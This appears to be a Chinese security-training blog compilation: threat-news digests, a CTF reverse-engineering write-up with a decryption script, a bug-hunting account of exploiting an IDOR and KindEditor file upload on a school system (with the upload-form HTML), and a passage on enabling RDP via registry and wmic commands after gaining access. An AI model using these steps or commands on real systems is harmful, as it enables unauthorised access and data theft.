1、研究人员发现新型社会工程学攻击策略ClickFix https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clickfix-deception-a-social-engineering-tactic-to-deploy-malware/ 安全研究人员最近发现了一种新型的网络攻击手段，即“ClickFix”社会工程策略。这种策略利用用户对合法网站的信任，通过精心设计的虚假错误提示，诱导用户执行恶意脚本，从而在不知情的情况下下载并执行恶意软件。攻击者首先入侵合法网站，然后在用户访问时重定向他们到托管虚假弹出窗口的域。这些弹出窗口指示用户将恶意脚本粘贴到PowerShell终端中，一旦执行，恶意软 2、Akira针对拉丁美洲航空公司发动网络攻击 https://blogs.blackberry.com/en/2024/07/akira-ransomware-targets-the-latam-airline-industry Akira勒索软件组织针对拉丁美洲一家航空公司网站发动攻击。该组织利用SSH协议入侵网络，窃取关键数据，并部署Akira勒索软件进行加密。此次攻击中，攻击者可能基于Linux，通过DNS查询与Remmina关联的域。Akira组织自2023年3月被发现以来，已攻击多个行业，收到超过4200万美元赎金。安全研究团队深入分析了Akira的攻击链和相关技术细节。 3、Braodo Stealer恶意软件威胁越南及全球用户 https://www.cyfirma.com/research/braodo-info-stealer-targeting-vietnam-and-abroad/ 研究人员发现了一个名为Braodo Stealer的恶意软件，它自2024年初开始在全球范围内活跃。该软件主要针对越南用户，但也已扩散至其他国家和地区。Braodo Stealer利用网络钓鱼和鱼叉式网络钓鱼邮件进行传播，并通过GitHub和位于新加坡的VPS服务器来托管和分发其恶意代码。该恶意软件由越南的网络犯罪分子开发，并通过Telegram机器人窃取用户在多个浏览器上的互联网浏览器数据，包括金融平台和社交媒体账户的凭证。 4、黑客组织NullBulge声称入侵迪士尼Slack系统 https://hackread.com/disneys-internal-slack-breached-nullbulge-leak-data/ NullBulge黑客组织宣称对迪士尼内部Slack系统进行了入侵，并在Breach Forums上声称泄露了1.1 TiB的数据。该组织自称其行动是为了声援艺术家，确保他们的作品得到公正的报酬，这与迪士尼近年来面临的支付艺术家版税的争议相呼应。尽管NullBulge黑客的起源不明，但有猜测称其可能与LockBit勒索软件有关。 5、数百万 mSpy 客户数据遭网上泄露 https://www.securityweek.com/data-of-millions-of-mspy-customers-leaked-online/ 超过 310 GB 的 mSpy 数据（包括 240 万个电子邮件地址和其他用户数据）被网上泄露。 6、AT&T针对数据泄露已支付 37 万美元赎金 https://www.securityweek.com/att-breach-linked-to-american-hacker-telecom-giant-paid-370k-ransom-reports/ 最近披露的 AT&T 数据泄露事件与一名居住在土耳其的美国黑客有关，据报道，该电信巨头支付了一大笔赎金以确保删除被盗信息。据报道，黑客向 AT&T 索要 100 万美元赎金，但最终他只同意了这么少的赎金。黑客向 AT&T 提供了一段视频，显示他已经删除了被盗数据。 7、GitHub Token泄露致Python核心存储库面临潜在攻击 https://thehackernews.com/2024/07/github-token-leak-exposes-pythons-core.html 网络安全研究人员表示，他们发现了一个意外泄露的 GitHub 令牌，该令牌可以授予对 Python 语言、Python 包索引 (PyPI) 和 Python 软件基金会 (PSF) 存储库的提升访问权限。 8、FIN7黑客组织使用超过 4000 个域名模仿热门品牌 https://cybersecuritynews.com/fin7-domains-mimic-brands-uncovered/ 通过瞄准科技公司和金融行业参与者等知名品牌，FIN7 参与者部署重定向、多阶段网络钓鱼活动并冒充开放目录来传播恶意软件。 9、恶意活动利用虚假 Teams 广告诱骗 Mac 用户 https://thecyberexpress.com/malvertising-campaign-lures-macos-users-teams/ 该恶意广告活动采用了先进的过滤技术来逃避检测，并出现在 Microsoft Teams 的搜索结果中。尽管 URL 显示为 microsoft.com，但它通过欺骗性链接重定向用户。 10、苹果向全球98国用户发出警告：警惕iPhone被间谍软件控制 https://www.ithome.com/0/781/218.htm 苹果公司最近警告全球 98 个国家的大量 iPhone 用户，他们可能成为“雇佣间谍软件”攻击的目标，这种攻击手段几乎可以窃取设备上的所有个人数据。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、Exim严重漏洞可让攻击者向邮箱发送恶意可执行文件 https://www.securityweek.com/critical-exim-flaw-allows-attackers-to-deliver-malicious-executables-to-mailboxes/ 2、AT&T确认几乎所有无线用户的数据遭泄露 https://www.securityweek.com/att-data-breach-nearly-all-wireless-customers-exposed-in-massive-hack/ 数据泄露暴露了几乎所有 AT&T 无线客户的通话和短信互动记录，并且与最近针对 Snowflake 客户的攻击有关。 3、印度遭大规模短信网络钓鱼窃取个人信息和支付数据 https://securityaffairs.com/165632/cyber-crime/smishing-triad-is-targeting-india.html Resecurity 发现了 Smishing Triad 发起的一项新活动，该活动针对印度，大规模窃取个人和支付数据。 4、恶意软件DarkGate利用Excel文件进行传播 https://unit42.paloaltonetworks.com/darkgate-malware-uses-excel-files/ 在2024年初，一种名为DarkGate的恶意软件通过精心设计的Excel文件在互联网上迅速传播。这种文件利用了面向公众的SMB文件共享服务，诱使毫无戒心的用户下载并执行其中的恶意宏。DarkGate恶意软件自2018年被发现以来，现已发展成为一个成熟的恶意软件即服务（MaaS）产品，提供包括隐藏虚拟网络计算、远程代码执行和加密挖掘在内的多种功能。研究人员对该恶意软件对合法工具Excel的利用进行了深入分析。 5、Citrix NetScaler发布高危漏洞修补通知 https://support.citrix.com/article/CTX677998/netscaler-console-agent-and-sdx-svm-security-bulletin-for-cve20246235-and-cve20246236 近期，Citrix公司、美国网络安全和基础设施安全局(CISA)以及爱尔兰国家网络安全中心(NCSC)联合发布了关于Citrix NetScaler控制台中存在严重漏洞的警告。该漏洞编号为CVE-2024-6235，评分高达9.4。漏洞源于控制台内身份验证控制不当，可能允许攻击者绕过安全措施，访问敏感数据。受影响的版本包括NetSca 6、DNS劫持针对在Squarespace注册的加密平台 https://www.bleepingcomputer.com/news/security/dns-hijacks-target-crypto-platforms-registered-with-squarespace/ 近日，Squarespace作为注册商遭遇了一系列DNS劫持攻击，影响了多个DeFi加密货币平台。这些攻击通过修改DNS记录，将用户流量重定向至网络钓鱼网站，攻击者企图利用这些网站窃取用户的加密货币和NFT。Compound Finance、Celer Network和Pendle等平台均受到波及，尽管它们迅速采取措施以保护用户资产，但部分用户可能已在钓鱼网站上泄露了敏感 7、Netgear修复WiFi 6路由器存储型XSS漏洞 https://kb.netgear.com/000066264/Security-Advisory-for-Stored-Cross-Site-Scripting-on-Some-Routers-PSV-2023-0122 Netgear近日发布安全公告，提示用户更新其WiFi 6路由器至最新固件版本，以修补存储型XSS和身份验证绕过漏洞。XR1000 Nighthawk游戏路由器中的XSS漏洞（PSV-2023-0122）已在1.0.0.72版本中修复，攻击者可能利用此漏洞进行恶意活动。Netgear建议用户按照其安全公告中的步骤下载并安装最新固件，并声明对于未遵循建议步骤而产生的后果不 8、威胁行为体公开出售韩国国家警察局访问权限 https://thecyberexpress.com/korean-national-police-agency-cyberattack/ 威胁行为体IntelBroker在BreachForums平台的声称，其已成功入侵韩国国家警察局（KNPA），并提供对该机构管理门户、用户数据库和中央命令面板的非法访问权限，售价4000美元，通过加密货币Monero交易。尽管KNPA近年来频繁遭受黑客攻击，但此次事件的真实性尚未得到官方确认。研究人员将继续关注此事件的发展。 9、Palo Alto修复Expedition工具安全漏洞 https://security.paloaltonetworks.com/ Palo Alto Networks最近发布了一项关键安全更新，以修复其Expedition迁移工具中的一个高危漏洞（CVE-2024-5910），该漏洞的CVSS评分高达9.3。该漏洞允许未经身份验证的攻击者接管管理员账户，从而危及配置机密、凭证和其他敏感数据。受影响的产品版本为1.2.92之前的所有版本，而最新版本已包含修复。此外，该公司还解决了RADIUS协议中的BlastRADIUS漏洞（CVE-2024-3596），该漏洞可能使攻击者在PAN-OS防火墙和RADIUS服务器之间发起中间人攻击，绕过身份验证 10、黑客组织利用SSH-Snake蠕虫部署挖矿软件 https://sysdig.com/blog/crystalray-rising-threat-actor-exploiting-oss-tools/ 研究人员追踪发现，CRYSTALRAY黑客组织通过SSH-Snake这一开源蠕虫工具扩大其攻击范围，目前已知有超过1500个系统的凭证被盗，并被部署了加密货币挖矿软件。SSH-Snake能够窃取受感染服务器上的SSH私钥，利用这些密钥在网络中进行横向移动，同时投放额外的有效载荷。CRYSTALRAY黑客组织的行为对网络安全构成了严重威胁，需要采取有效的预防和检测措施来抵御此类攻击。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

前言 本题自带call型花指令，考验选手对花指令的理解程度。加密属于基础的异或和左右移位加密。主要考察选手的基础能力，动态调试和写脚本的能力。在这篇文章，详细记录了我的分析过程，相信你会有很大收获。 1、查壳 PE64位，没壳程序 2、IDA分析去花指令 使用IDA打开时，发现一片红，很正常的CTF考点：花指令 sub_main 当务之急是如何去除花指令，继续向下分析，发现了一些端倪 花指令的形成是干扰编译器的分析，但又不会影响程序的正常运行。 那么显而易见，会将某个寄存器进行push（保存）然后对其进行复杂操作，最终pop（恢复）该寄存器的值，程序正常执行。 而在本程序中，可以发现该手法： push ebx ..... pop ebx 中间的过程均无需再看，直接NOP操作。 nop完记得保存修改。 接下来就可以分析main函数啦 而这两个函数恰好均为关键的函数。 sub_401040 此时，我们可以看到函数开头的位置存在多个push操作，不要急着nop。对照函数结束的部分，避免误杀友军。 可以看到pop和push是相互对应的，开头push，结束就要pop。 此时注意到：push、pop不是要nop的点，我们继续分析 熟悉混淆的朋友一定可以识别出这是一个call型混淆。 call一个地址，然后修改堆栈返回值，retn跳过混淆，相对之前的混淆需要对堆栈有一定的理解。 识别出来，进行nop即可 得到加密函数 int __cdecl sub_401040(char a1, int a2) {  return ((a2 ^ a1) << 8) - a2; } sub_401080 来分析另一个函数 相同的操作 得到加密算法 int __cdecl sub_401080(char a1, int a2) {    return a2 ^ (a1 << 8); } 3、分析加密流程 那么现在的任务是获得加密函数的顺序,这里采用动态调试的方法来获得： 得到顺序 left xor xor left xor left left xor left left xor xor xor left left left xor xor xor left xor xor left xor left left left left xor xor xor left 将left用1替代，xor用0替代，得到顺序： int temp[32] = { 1,0,0,1,0,1,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,1 }; ‍密文可以看到是： dword_402120 数组 unsigned int dword_402120[32] = {    0x00004408, 0x000068D8, 0x00007AD8, 0x00004308, 0x00007BD8, 0x00004608, 0x00007B08, 0x000070D8,    0x00003308, 0x00007308, 0x000076D8, 0x00005CD8, 0x000076D8, 0x00006608, 0x00006908, 0x00006E08,    0x00004BD8, 0x000076D8, 0x00003FD8, 0x00006F08, 0x00005ED8, 0x000076D8, 0x00007408, 0x000046D8,    0x00005F08, 0x00006308, 0x00003408, 0x00007408, 0x000076D8, 0x000044D8, 0x00004CD8, 0x00007D08 }; 4、写出解密算法 #include <stdio.h> void left(unsigned int a1, unsigned int a2) {    // (a1>>8)^a2    printf("%c", ((a1 ^ a2)>>8 )); } void xors(unsigned int a1, unsigned int a2) {    //(((a1+a2)>>8)^a2)    printf("%c", (((a1 + a2) >> 8) ^ a2)); } int main() {    unsigned int dword_402120[32] = {    0x00004408, 0x000068D8, 0x00007AD8, 0x00004308, 0x00007BD8, 0x00004608, 0x00007B08, 0x000070D8,    0x00003308, 0x00007308, 0x000076D8, 0x00005CD8, 0x000076D8, 0x00006608, 0x00006908, 0x00006E08,    0x00004BD8, 0x000076D8, 0x00003FD8, 0x00006F08, 0x00005ED8, 0x000076D8, 0x00007408, 0x000046D8,    0x00005F08, 0x00006308, 0x00003408, 0x00007408, 0x000076D8, 0x000044D8, 0x00004CD8, 0x00007D08   };    int temp[32] = { 1,0,0,1,0,1,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,1 };    for (size_t i = 0; i < 32; i++)   {        if (temp[i]) {            //left            left(dword_402120[i], 8);       }        else {            //xor            xors(dword_402120[i], 40);       }   } } 到此，恭喜你学会了分析一道CTF题目最基本的步骤。

1、安全机构揭露百亿级洗钱平台Huione Guarantee https://www.elliptic.co/blog/cyber-scam-marketplace 安全机构最新报告揭露了Huione Guarantee，一个看似合法的在线市场，实际上是一个涉及至少110亿美元交易的网络犯罪洗钱平台。该平台被用于多种网络犯罪活动，包括‘杀猪’投资诈骗、个人数据销售等。Huione Guarantee由柬埔寨的Huione Group拥有，调查还发现，Huione Group的子公司之一积极参与洗钱活动，凸显了该平台在东南亚诈骗运营商中的关键作用。 2、攻击者利用巴黎奥运会门票进行欺诈活动 https://quointelligence.eu/2024/07/ticket-heist-olympic-games-and-sporting-events-at-risk/ 随着2024年巴黎奥运会的临近，针对全球观众的欺诈门票销售计划正在增加。研究发现，一个名为Ticket Heist的欺诈活动已经建立了708个域名，主要针对俄语用户和东欧国家。这些欺诈网站模仿官方票务平台，使用Stripe支付系统，意图在用户卡上资金充足时完成交易。该活动的影响可能包括个人经济损失、组织者声誉受损和公众对大型活动信任度的下降。安全研究人员建议持续监控和分析，以有效检测和拆除这些欺诈网络。 3、黑客在犯罪论坛公开泄露诺基亚和微软员工数据 https://hackread.com/hacker-leaks-microsoft-nokia-employee-details/ 近期，一位名为'888'的黑客在网络犯罪论坛Breach Forums上泄露了数千名诺基亚和微软员工的个人信息。这次数据泄露据称是由于第三方承包商的安全漏洞，而非诺基亚和微软服务器的直接入侵。泄露的数据包括员工的职称、全名、电话号码和电子邮件地址，微软员工的数据还包括LinkedIn个人资料链接。尽管没有密码或支付数据被泄露，但公开的联系信息仍可能被用于身份盗窃和社会工程攻击。 4、印度Android用户遭遇虚假通知网络钓鱼攻击 https://cyble.com/blog/regional-transport-office-phishing-scam-targets-android-users-in-india 研究人员发现了一种针对印度Android用户的网络钓鱼攻击，该攻击冒充地区交通办公室（RTO）。攻击者利用WhatsApp传播虚假的RTO通知，诱骗用户下载并安装恶意APK，从而收集设备和联系人信息。这种恶意软件通过Telegram和Firebase服务发送窃取的信息，增加了攻击的隐蔽性。研究人员对该威胁进行了深入分析，并揭露了攻击者可能使用的恶意软件即服务（MaaS）模型。 5、勒索软件Estate利用Veeam漏洞发起攻击 https://www.group-ib.com/blog/estate-ransomware/ 安全研究人员揭露了一起Estate勒索软件组织，利用Veeam Backup&Replication软件中的已修补漏洞CVE-2023-27532进行的攻击事件。该漏洞于2023年3月被披露，Veeam迅速发布了补丁，但一些组织因延迟更新和缺乏定期审查而遭受攻击。研究人员深入分析了此次事件，揭示了攻击者如何利用未修补的Veeam Backup&Replication软件，通过FortiGate SSL VPN进行初始访问，进而部署后门并横向移动。安全研究人员建议加强补丁管理和多因素认证，以预防类 6、官方强烈建议升级，GitLab曝严重的账户接管漏洞 https://www.freebuf.com/news/405728.html 7月10日，GitLab警告称，其产品GitLab社区和企业版本中存在一个严重漏洞，允许攻击者以任何其他用户的身份运行管道作业。 7、多个威胁行为者利用PHP漏洞CVE-2024-4577传播恶意软件 https://securityaffairs.com/165586/hacking/php-flaw-cve-2024-4577-actively-exploited.html Akamai 安全情报响应团队 (SIRT) 警告称，多个威胁行为者正在利用 PHP 漏洞C VE-2024-4577来传播多个恶意软件家族，包括Gh0st RAT、RedTail 和 XMRig。 8、富士通确认客户数据在三月份网络攻击中暴露 https://www.bleepingcomputer.com/news/security/fujitsu-confirms-customer-data-exposed-in-march-cyberattack/ 富士通隔离了受影响的计算机，并在外部专家的帮助下启动了调查，以确定此次数据泄露的范围。在最新一份声明中，公司表示已经完成了对事件的调查，并确认数据是被恶意软件窃取的，该恶意软件从单一的入侵点传播到了49台计算机。 9、谷歌开放“暗网报告”功能：通知用户信息泄露 https://www.ithome.com/0/780/756.htm “暗网报告”功能此前仅限于购买 Google One 订阅的功能，主要监控常规网络方式无法访问的网络部分，除了排查个人信息是否已经泄露之外，还可以搜索相关漏洞信息。 10、Apple地理定位API暴露了全球WiFi接入点 https://www.darkreading.com/endpoint-security/apple-geolocation-api-exposes-wi-fi-access-points-worldwide 在 2024 年黑帽大会的演讲中，马里兰大学研究员 Erik Rye 将演示他是如何在几天内绘制出数亿个接入点的地图的，而在绘制过程中甚至不需要苹果设备或任何权限。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

脆弱资产搜集 信息搜集过程中，除了用常见子域名扫一遍，还可以通过空间搜索引擎手动搜索。我用的就是把学校名称或者缩写作为关键字，利用语法: web.body="关键字"&&web.body="系统" web.body="关键字"&&web.body="登录" web.title="关键字"&&web.body="管理" web.title="关键字"&&web.body="后台" 等一系列语法进行挨个查看。 进行信息搜索（你得有一套自己的信息搜集逻辑吧，不然连这个系统都找不到）后，找到一处教学管理系统，点击页面上方软件，点击蓝色链接，进入教学系统 此处存在多个平台，但发现只有几个平台可以点击进入，先点击右上角的:国际结算 出现一个登录框，发现存在注册按钮，并且注册没有任何限制，直接注册账号进行登录（能进后台肯定先进后台测试，之后再测登录框漏洞） 后台敏感信息越权获取 进入后页面如下，挖洞需要首先观察功能点，将所有能点的都点一遍，将功能转化为接口，转化为数据包后，再进行测试。 经过观察，除了修改个人资料与修改密码，其它均为查看资料的地方，尝试sql注入，RCE，文件包含，目录遍历等漏洞均无成果，于是将目光转到这两处功能点。 点击修改个人资料，再点击保存，转到burpsuite查看数据包 发现此处展现了我的账户，密码等个人信息，且数据包body较为简单，于是将数据包转到repeater进行测试。将userId改为2018发包，发现返回其他用户信息。 经过尝试可以实现登录，再次将userId改为0001和0002直接展现管理员与超级管理员账号，并成功登录。（经过尝试，大概能获取两千左右的用户信息。） 未授权加越权 得到越权漏洞一个，但挖洞时注意数据包如果存在cookie等鉴权字段，就可以尝试删除，如果还能获取就可能存在未授权漏洞。 删除cookie后发包，再次成功获取数据，退出登录，过了半天后再次发送数据包，依旧成功获取数据，于是又将危害扩大，能够实现未授权状态对任意用户信息的获取。 继续查看先前的历史数据包，找到保存信息那一个数据包。将其发送到repeater模块进行分析。 接着先前思路删除cookie但修改个人信息失败。进一步分析数据包，发现两个可疑参数:head头的userId与body处的userId,经过尝试，将head头的userId修改可以实现越权修改他人信息，例如我将userId修改为2018再通过先前拿到的账户密码，发现他的信息已经被修改为了我的信息。 （经过尝试，以上漏洞通杀v1.v2.v3版本） 之后对修改密码处进行一套checklist无果...... 编辑器文件上传利用 秉持着功能点多少决定攻击面大小的想法，我先登录进入了管理员账户。 在没有太多功能点的情况下，从分析js文件出发找功能点，有充足功能的情况下，就先将页面展现出来的功能点转化为接口测试，最后再分析js文件。 进入普通管理员后台，先将整个后台功能点进行总览，先不要着急去测功能点，把功能点先点一遍，再从数据包开始分析。 在数据包中发现Editor字段，加上此处存在试卷编辑功能点，于是猜测可能使用了编辑器，在js文件中搜索关键字: 直接找到kindeditor编辑器，此处直接想到可以尝试kindeditor的文件上传与目录遍历漏洞（多挖才会有思路） 注意此处涉及到接口拼接的一个问题，网上找的相关漏洞复现他们的路径并不是完全通用的，我们在做js拼接时也要注意，路径是否存在一个根路径，本例的根路径就是Content，如果你直接找网上的路径拼接到url处是不行的。 例如查看kindeditor版本的路径就应该是: 为4.1.10貌似存在漏洞，于是访问如下界面: 看到这个页面，根据我的经验估计稳了。于是按照步骤部署html上传页面，再将自己写另一个的xss的html通过自己的html页面进行上传，抓包得到返回路径，拼接后访问，成功弹窗，此漏洞可在未登录状态完成。（另一个目录遍历漏洞未能成功） 以下是kindeditor文件上传的html上传页面代码:(xss代码自己写) <head> <title>File Upload</title> </head> <body> <form enctype="multipart/form-data" action="http://******/Content/KindEditor/asp.net/upload_json.ashx?dir=file" method="post"> <p>Upload a new file:</p> <input type="file" name="imgFile" size="50"><br> <input type="submit" value="Upload"> </form> </body> 通过数据包还看到IIS版本为7.5尝试IIS解析漏洞与MS15-034（代码执行）无果。

1、黑客利用Jenkins配置错误进行挖矿攻击 https://www.trendmicro.com/en_us/research/24/g/turning-jenkins-into-a-cryptomining-machine-from-an-attackers-pe.html 安全研究人员对Jenkins服务器在配置不当时可能面临的加密货币挖矿攻击进行了深入分析，发现攻击者可以利用Jenkins脚本控制台执行恶意的Groovy脚本，通过不当配置的权限实现远程代码执行（RCE）。通过Shodan搜索引擎，研究人员发现许多Jenkins服务器暴露在互联网上，容易受到攻击。此外，研究人员还详细说明了攻击者如何利用Jenkins Groovy 2、研究人员揭露ViperSoftX恶意软件运行机制 https://www.trellix.com/blogs/research/the-mechanics-of-vipersofts-exploiting-autoit-and-clr-for-stealthy-powershell-execution/ ViperSoftX自2020年首次发现以来不断进化的高级恶意软件，利用AutoIt和CLR技术实现隐蔽的PowerShell命令执行，其复杂性和高级功能使其成为网络安全的重大威胁。ViperSoftX的感染流程包括从Torrent陷阱开始，自动执行命令，收集系统信息，并与C2服务器通信。其高级功能包括剪贴板内容捕获、动态下载执行负载、反恶 3、研究人员揭露针对中东监控软件GuardZoo https://www.lookout.com/threat-intelligence/article/guardzoo-houthi-android-surveillanceware 安全团队揭露了一款名为GuardZoo的Android监控软件，该软件自2019年10月起针对中东国家的军事人员进行监控活动，并持续活跃至2024年。该软件通过军事主题诱饵吸引受害者，收集照片、文档、位置数据等敏感信息，GuardZoo基于Dendroid RAT，使用ASP.NET创建的C2后端，具备60多个自定义命令，允许攻击者在受感染设备上部署其他侵入性恶意软件。安全团队将此活动归咎于与也门胡塞武装有关 4、BlastRADIUS漏洞威胁RADIUS协议安全 https://kb.cert.org/vuls/id/456537 安全研究人员近日发现RADIUS网络身份验证协议存在名为BlastRADIUS的重大安全漏洞。该漏洞使得攻击者能够通过中间人攻击修改数据包，绕过完整性检查。RADIUS是一种自1997年以来就被广泛使用的轻量级身份验证协议，支持从基本网络交换机到复杂的VPN解决方案的设备。研究人员建议制造商和网络运营商更新软件和配置，采用更安全的通信协议，如TLS或DTLS，并实施网络隔离和VPN隧道通信，以减轻这一风险。 5、Microsoft Outlook中发现零点击RCE漏洞 https://blog.morphisec.com/cve-2024-38021-microsoft-outlook-moniker-rce-vulnerability 研究人员披露了Microsoft Outlook中的一个零点击远程代码执行（RCE）漏洞CVE-2024-38021，该漏洞影响大多数Outlook应用程序。与6月份披露的CVE-2024-30103不同，新漏洞无需身份验证即可被利用，被评为“重要”级别。微软已发布补丁，但研究人员建议重新评估其严重性至“严重”。鉴于漏洞的广泛影响和零点击特性，攻击者可以轻易利用此漏洞进行未授权访问和恶意活动。建议立即更新Outlook和O 6、五年前泄露的Truecaller用户数据库再次被发现 https://cyberpress.org/273-million-truecaller-india-database-leaked-online/ 五年前，Truecaller的用户数据库曾发生泄露事件，而现在，研究人员发现该数据库再次被公开。这次泄露涉及2.73亿印度用户的敏感数据，包括电话号码、全名和位置等信息。这些信息可能被恶意利用，用于网络钓鱼、发送垃圾信息、身份盗窃等不法活动。受影响的电信公司包括印度的主要服务提供商，如Reliance Jio、沃达丰、Airtel和BSNL等。尽管Truecaller声称这些数据并非来源于其数据库，并已经进行了内部调查，但这一事件再次凸显了数 7、VMware 修补了Aria Automation 中的严重 SQL 注入漏洞 https://www.securityweek.com/vmware-patches-critical-sql-injection-flaw-in-aria-automation/ VMware 警告称，经过身份验证的恶意用户可以输入特制的 SQL 查询并在数据库中执行未经授权的读/写操作。 8、Citrix 修补了严重的 NetScaler 控制台漏洞 https://www.securityweek.com/citrix-patches-critical-netscaler-console-vulnerability/ Citrix 推出了针对多个安全漏洞的补丁，包括 NetScaler 产品线中的严重和高严重性问题。 9、OPENSSH 的一个新漏洞可能导致远程代码执行 一个漏洞影响 OpenSSH 安全网络套件的某些版本，可能会导致远程代码执行。漏洞CVE-2024-6409（CVSS 评分：7.0）影响 OpenSSH 安全网络套件的部分版本，可被利用来实现远程代码执行 (RCE)。该问题是 openssh 的 privsep 子进程中的 cleanup_exit() 中可能存在竞争条件，从而影响 openssh 版本 8.7p1 和 8.8p1。 10、新勒索软件组织利用 Veeam 备份软件漏洞 https://thehackernews.com/2024/07/new-ransomware-group-exploiting-veeam.html Veeam Backup & Replication 软件中一个现已修补的安全漏洞正被一个名为 EstateRansomware 的新兴勒索软件所利用。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、Kimsuky组织针对日本机构发起电子邮件攻击 https://blogs.jpcert.or.jp/en/2024/07/attack-activities-by-kimsuky-targeting-japanese-organizations.html 近日，安全研究机构揭露了Kimsuky攻击组织对日本的定向网络攻击。该组织通过发送带有伪装扩展名的恶意附件的电子邮件，诱使目标下载并执行EXE文件，从而启动了一系列复杂的感染流程。这些流程不仅包括从远程服务器下载和执行VBS脚本，还涉及收集系统信息、进程列表、网络信息以及用户数据，并将这些信息发送到攻击者控制的服务器。此外，攻击还包括键盘记录功能，进一步增强了攻击者的信息窃取能力。鉴于 2、研究人员发布DoNex勒索软件免费解密器 https://decoded.avast.io/threatresearch/decrypted-donex-ransomware-and-its-predecessors/ 研究人员发布报告披露了DoNex勒索软件及其前身的加密缺陷，并宣布自3月以来一直在秘密地向受害者提供解密器。DoNex勒索软件自首次出现以来，经过多次更名，包括Muse、假冒LockBit 3.0、DarkRace，直至最终定名为DoNex。研究人员指出，DoNex在美国、意大利和比利时特别活跃，其加密方案存在漏洞，允许使用特定方法解密被加密的文件。勒索软件的配置文件包含用于加密过程的详细设置，包括白名单和要终止的服 3、npm平台遭遇木马化jQuery供应链攻击 https://blog.phylum.io/persistent-npm-campaign-shipping-trojanized-jquery/ 安全研究团队持续跟进并揭露了一起针对npm平台的复杂供应链攻击。攻击者在npm上散布了多个包含被木马感染的jQuery库的软件包，这些软件包在一个月内被多次发布。攻击者修改了jQuery的end函数，该函数在调用时会将表单数据发送到远程服务器。此外，他们还利用了fadeTo函数的普及性，增加了恶意代码的触发机会。这次攻击的复杂性和持久性表明了供应链攻击者日益增长的技术能力和潜在的广泛影响。 4、硬件制造商Zotac因配置错误导致信息泄露 https://www.bleepingcomputer.com/news/security/computer-maker-zotac-exposed-customers-rma-info-on-google-search/ 计算机硬件制造商Zotac因配置错误导致其网络文件夹中的退货授权（RMA）请求及相关文件被公开，敏感的客户信息因此泄露。这些信息包括发票、地址、请求详情和联系信息，可通过Google搜索查询到。YouTube技术频道观众发现了这一漏洞，并已通知Zotac及其合作伙伴。Zotac已采取措施，禁用了RMA门户上的文档上传功能，改为通过电子邮件接收文件，以保护客户信息。 5、美国国家安全局（NSA）1.4GB机密数据发生泄露 https://cyberpress.org/1-4-gb-nsa-data-leaked-online/ 研究人员在数据泄露论坛上发现了1.4 GB的美国国家安全局（NSA）机密数据泄露。这些数据据称来自与美国政府及其盟友密切合作的Acuity Inc.公司。泄露的数据包括政府官员的全名、电子邮件地址、电话号码以及机密通信内容。此次事件不仅暴露了政府承包商网络安全措施的漏洞，也对NSA员工的个人安全和国家安全行动构成严重风险。目前，Acuity Inc.或五眼联盟成员国尚未就文件真实性或事件严重性发表官方声明。 6、微软警告称 Windows Hyper-V 零日漏洞正被利用 https://www.securityweek.com/microsoft-warns-of-windows-hyper-v-zero-day-being-exploited/ 补丁星期二：微软修补了 Windows 生态系统中的 140 多个安全漏洞，包括两个被利用的零日漏洞。 7、RADIUS协议爆出已存在30年历史的严重漏洞 https://www.securityweek.com/blastradius-attack-exposes-critical-flaw-in-30-year-old-radius-protocol/ 安全供应商 InkBridge Networks 周二呼吁紧急关注 RADIUS 协议中发现的一个已有三十年历史的设计缺陷，并警告说高级攻击者可以发起漏洞来验证本地网络上的任何人，绕过任何多因素身份验证 (MFA) 保护。该公司发布了BlastRADIUS 攻击的技术描述，并警告企业内部网络、互联网服务提供商 (ISP) 和电信公司 (telcos) 等企业网络面临重大风险。 8、Evolve Bank 数据泄露影响 760 万人 https://www.securityweek.com/evolve-bank-data-breach-impacts-7-6-million-people/ Evolve Bank 表示，超过 760 万人的个人信息在勒索软件攻击中遭到泄露。 9、Neiman Marcus 数据泄露导致超过 3100 万客户邮箱地址被泄露 https://securityaffairs.com/165492/data-breach/neiman-marcus-data-breach-2.html 美国奢侈品百货连锁店 Neiman Marcus 最近遭遇数据泄露，泄露了超过 3100 万个客户电子邮件地址。 10、研究人员发现也门黑客正在监视中东军用电话 https://cyberscoop.com/researchers-catch-yemeni-hackers-spying-on-middle-east-military-phones/ 网络安全公司 Lookout 称，一个与胡塞运动有关联的也门黑客组织一直在通过在军事人员的手机中植入监控软件来监视中东的军事人员。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

前言 Windows远程桌面简介 远程桌面协议(RDP)是一个多通道(multi-channel)的协议，让使用者连上提供微软终端机服务的计算机(称为服务端或远程计算机) 远程桌面的前置条件 在获取权限后，针对3389进行展开，先查询3389端口是否开启 netstat -ano | findstr 3389 发现没有开启（也有可能更改了端口），则可以通过注册表进行手动启动（需要管理员权限） REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f     （开启） REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f     （关闭） 若执行失败，可能由于系统版本过旧（以下开启命令适用于Windows Server 2003之前系统） wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 